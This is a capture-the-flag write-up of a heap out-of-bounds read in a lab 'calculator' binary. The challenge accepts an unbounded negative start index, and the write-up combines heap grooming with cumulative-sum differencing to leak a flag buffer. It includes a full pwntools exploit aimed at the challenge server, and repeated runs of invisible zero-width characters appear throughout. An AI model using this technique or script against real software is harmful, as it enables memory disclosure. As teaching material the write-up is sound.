← Back to Writeups
CUSTOMMediumpwn

pwn7 enlarged_calc (ENLARGED Calculator)

XESXOR9/2/20264 min read
#pwn#custom#medium#cumulative_sum_differencing#heap_layout_grooming#negative_index_oob_read

pwn7 enlarged_calc (ENLARGED Calculator)

Platform: pwn_spbctf | Category: pwn | Type: Challenge | Difficulty: Medium | OS: NA | Author: XESXOR | Date: 2026-06-18 | Status: Solved Techniques: cumulative_sum_differencing, heap_layout_grooming, negative_index_oob_read

Summary

Task: x86-64 calculator pwn (NON-PIE, canary, NX) that loads flag.txt onto the heap; option B sets aggregate boundaries but only validates count<=start or end<0, allowing an unbounded NEGATIVE start. Solution: groom heap with 8 zeros so realloc moves the numbers buffer past the flag chunk, then leak each OOB int below the buffer via cumulative-sum differencing Sum(pos,0)-Sum(pos+1,0) to reassemble the flag in one connection.

pwn7 enlarged_calc — ENLARGED Calculator (spbctf)

Description

pwn7 "ENLARGED Calculator" — nc 109.233.56.90 11718

An x86-64 menu-driven "calculator" binary (NON-PIE, Partial RELRO, stack canary, NX). It reads flag.txt into a heap buffer at startup, then lets you build a list of numbers and run aggregates (sum/average/product) over a chosen index range. The goal is to disclose the flag with no memory corruption — purely via an out-of-bounds read.

This is the same family as the earlier "mc4" challenge, with two twists that make the flag land at a negative index relative to the numbers buffer. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Analysis

Startup heap state

At launch main performs (debug info present; source task8.c):

  • malloc(0) → numbers buffer (stored at [rbp-0x40]), later grown via realloc(count*4)
  • fopen("flag.txt")
  • malloc(0x40) → flag buffer, then fgets(flagbuf, 0x40, fp)

So the flag stays resident on the heap for the whole session.

Menu / aggregate loop

scanf("%1s") selects: a add (realloc, count+1), d delete, A average, S sum, P product, B set working boundaries.

Aggregates iterate for (i = start; i <= end; i++) reading buf[i] as a 4-byte SIGNED int (mov eax, [rax]). start and end live at [rbp-0x60]/[rbp-0x5c]. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

The bug (option B)

Boundary validation at 0x400d11..0x400d1e resets start/end to 0..count-1 only if:

(count <= start) OR (end < 0)

A negative start satisfies negative < count, so it passes the check — and there is no lower bound on how negative it can be. The aggregate loop therefore reads ints below the numbers buffer → OOB read primitive.

Why the flag is at a NEGATIVE index ("enlarged")

Two differences from the mc4 variant:

  1. Option B now requires count > 7 (cmp [rbp-0x54], 7; jle ...) → you must add 8 numbers before B is usable.
  2. The numbers buffer is realloc'd to count*4 bytes ("enlarged"). Growing it to 7+ entries forces a relocation to a fresh chunk that lands after the flag chunk. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Heap trace (LD_PRELOAD malloc log, 8 zero numbers, local):

malloc(0)   -> 0x6032a0   numbers (initial)
malloc(472) -> 0x6032c0   fopen stdio buffer
malloc(64)  -> 0x6034a0   FLAG buffer
realloc ... -> 0x6034f0   numbers (final, after relocation)

flag(0x6034a0) - numbers(0x6034f0) = -0x50 = -80 bytes = index -20 (4-byte ints). So the flag occupies indices -20..-15. The remote layout is identical.

Solution

The B-check forbids end < 0, so we cannot simply set start=-20, end=-15. Instead we fix end = 0 and vary start over negatives. Each call gives a cumulative sum Sum(pos, 0). Differencing two adjacent sums isolates a single OOB int: ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

int_at(pos) = Sum(pos, 0) - Sum(pos+1, 0)

Because all 8 in-range numbers are 0, the in-range portion of every Sum(k,0) is 0, so each difference equals exactly one OOB 4-byte int. Reassemble the recovered ints little-endian into bytes, then search for spbctf{.

Steps:

  1. Add 8 zeros (a ×8) to satisfy count > 7 and keep all in-range sums at 0.
  2. For each k in [-48, 0], set boundaries B(k, 0) and read S → Sum(k,0).
  3. Compute int_at(pos) = Sum(pos,0) - Sum(pos+1,0) for each adjacent pair.
  4. Pack ints little-endian, scan for the flag. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Solved on the first remote connection.

python
#!/usr/bin/env python3
# Exploit for pwn7 enlarged_calc "ENLARGED Calculator" (spbctf)
from pwn import *
import sys
context.log_level = 'info'

def setup(io, n):
    io.recvuntil(b'choice: ')
    for _ in range(n):
        io.sendline(b'a')
        io.recvuntil(b'to add: ')
        io.sendline(b'0')
        io.recvuntil(b'choice: ')

def set_b(io, start, end):
    io.sendline(b'B')
    io.recvuntil(b'starting position: ')
    io.sendline(str(start).encode())
    io.recvuntil(b'ending position: ')
    io.sendline(str(end).encode())
    io.recvuntil(b'choice: ')
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

def summ(io, start, end):
    set_b(io, start, end)
    io.sendline(b'S')
    io.recvuntil(b'Sum is: ')
    v = int(io.recvline().strip())
    io.recvuntil(b'choice: ')
    return v

def find_flag(data):
    for tag in (b'spbctf{', b'SPBCTF{'):
        i = data.find(tag)
        if i != -1:
            j = data.find(b'}', i)
            return (data[i:j+1] if j != -1 else data[i:i+64]).decode('latin1')
    return None

def solve(io, lo=-48, hi=0):
    setup(io, 8)
    cum = {k: summ(io, k, 0) for k in range(lo, hi + 1)}  # cumulative sums Sum(k,0)
    data = bytearray()
    for pos in range(lo, hi):
        v = (cum[pos] - cum[pos + 1]) & 0xffffffff         # isolate one OOB int
        data += v.to_bytes(4, 'little')
    log.info("dumped bytes: %r", bytes(data))
    return find_flag(bytes(data))
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

if __name__ == '__main__':
    where = sys.argv[1] if len(sys.argv) > 1 else 'remote'
    io = process('./enlarged.elf') if where == 'local' else remote('109.233.56.90', 11718)
    flag = solve(io)
    io.close()
    if flag:
        log.success("FLAG: %s", flag)
        print(flag)
    else:
        log.failure("flag not found in scanned window")

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍